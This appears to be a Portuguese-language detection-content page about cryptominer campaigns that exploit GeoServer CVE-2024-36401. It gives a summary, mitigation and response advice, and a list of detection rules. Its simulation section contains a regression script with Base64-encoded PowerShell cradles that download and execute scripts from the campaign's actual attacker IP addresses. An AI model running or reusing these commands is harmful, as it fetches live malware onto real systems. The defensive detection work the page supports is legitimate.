GeoServer Sob Ataque: Campanhas de Malware de Mineração de Criptomoedas
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Atores de ameaça estão explorando a falha de execução remota de código do GeoServer CVE-2024-36401 para implantar mineradores de criptomoedas e NetCat em servidores não corrigidos. A atividade depende de PowerShell, Bash e certutil para baixar e lançar o XMRig a partir de múltiplos domínios e endereços IP maliciosos. Vários scripts de downloader e droppers são usados, comumente empacotados em arquivos ZIP e mantidos como serviços através de NSSM. O objetivo principal é capturar recursos computacionais para mineração não autorizada.
Investigação
O relatório descreve três variantes (A, B, C) que usam PowerShell codificado, buscadores baseados em Bash e certutil para recuperar cargas de mineradores de pool.supportxmr.com e múltiplos subdomínios aaaaaaaaa.cyou. Os mecanismos de entrega incluem scripts em lote, pacotes ZIP e um downloader personalizado chamado systemd, junto com credenciais de autenticação HTTP Basic. Analistas extraíram indicadores-chave—URLs, endereços IP e nomes de arquivos—para apoiar a detecção e o escopo.
Mitigação
Aplique patches do GeoServer que abordam o CVE-2024-36401 e mantenha as implantações na última versão suportada. Bloqueie conexões de saída para pools de mineração conhecidos e infraestrutura relacionada, e monitore execuções suspeitas de PowerShell ou Bash codificados. Limite o uso de certutil para contextos não-administrativos e implemente lista de permissões de aplicativos para evitar serviços não autorizados instalados via NSSM.
Resposta
Implemente detecções para as linhas de comando observadas, hashes e indicadores de rede. Isolar hosts afetados, erradicar serviços de mineradores e artefatos de persistência e realizar uma varredura forense para qualquer carga secundária. Rotacione credenciais expostas e exija autenticação multifator para acesso administrativo.
Fluxo de Ataque
Detecções
Desativando Proteções do Windows Defender (via registry_event)
Visualizar
Alterações Suspeitas nas Preferências do Windows Defender (via powershell)
Visualizar
Possíveis Pontos de Persistência [ASEPs – Software/NTUSER Hive] (via registry_event)
Visualizar
Schtasks Apontando para Diretório/Binário/Script Suspeito (via cmdline)
Visualizar
Arquivos Suspeitos no Perfil de Usuário Público (via file_event)
Visualizar
Download ou Upload via Powershell (via cmdline)
Visualizar
IOCs (SourceIP) para detectar: Casos de Ataque de Minerador de Moeda Maliciosa Alvejando GeoServer
Visualizar
IOCs (DestinationIP) para detectar: Casos de Ataque de Minerador de Moeda Maliciosa Alvejando GeoServer
Visualizar
IOCs (HashMd5) para detectar: Casos de Ataque de Minerador de Moeda Maliciosa Alvejando GeoServer
Visualizar
Detectar Uso de Certutil para Download de Carga Maliciosa Explorando Vulnerabilidades do GeoServer [Criação de Processo no Windows]
Visualizar
Detectar Comandos de PowerShell Codificados Alvejando Vulnerabilidades do GeoServer [Windows Powershell]
Visualizar
Execução de Simulação
Pré-requisito: A Verificação Prévia de Telemetria & Baseline deve ter sido aprovada.
Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa de Ataque & Comandos:
Um atacante obteve uma carga maliciosa em Base64 que faz o download de um arquivo de configuração vulnerável do GeoServer, executa-o, e então instala um minerador de criptomoedas. Para evadir a detecção simples de bloqueio de script, o atacante usa o-encswitch com uma string pré-codificada (uma das duas IOCs conhecidas). O atacante executa a carga localmente em um host Windows comprometido, causando umapowershell.execriação de processo que inclui exatamente a string Base64 que a regra monitora. -
Script de Teste de Regressão:
# ------------------------------------------------- # Script de regressão para acionar a regra Sigma # ------------------------------------------------- # Carga 1 (corresponde ao primeiro IOC) $b64_1 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMjIwLjg0LjEwNy42OS9qcy9ndy50eHQnKQA=' powershell.exe -enc $b64_1 # Carga 2 (corresponde ao segundo IOC) $b64_2 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8xMTkuMTk0LjE1My4zMTo4MDgwL2ljb24vanMvd2kudHh0Jyk=' powershell.exe -enc $b64_2 -
Comandos de Limpeza:
# ------------------------------------------------- # Limpeza – terminar quaisquer cargas de PowerShell remanescentes # ------------------------------------------------- Get-Process -Name powershell -ErrorAction SilentlyContinue | Where-Object { $_.StartInfo.Arguments -match '-enc' } | Stop-Process -Force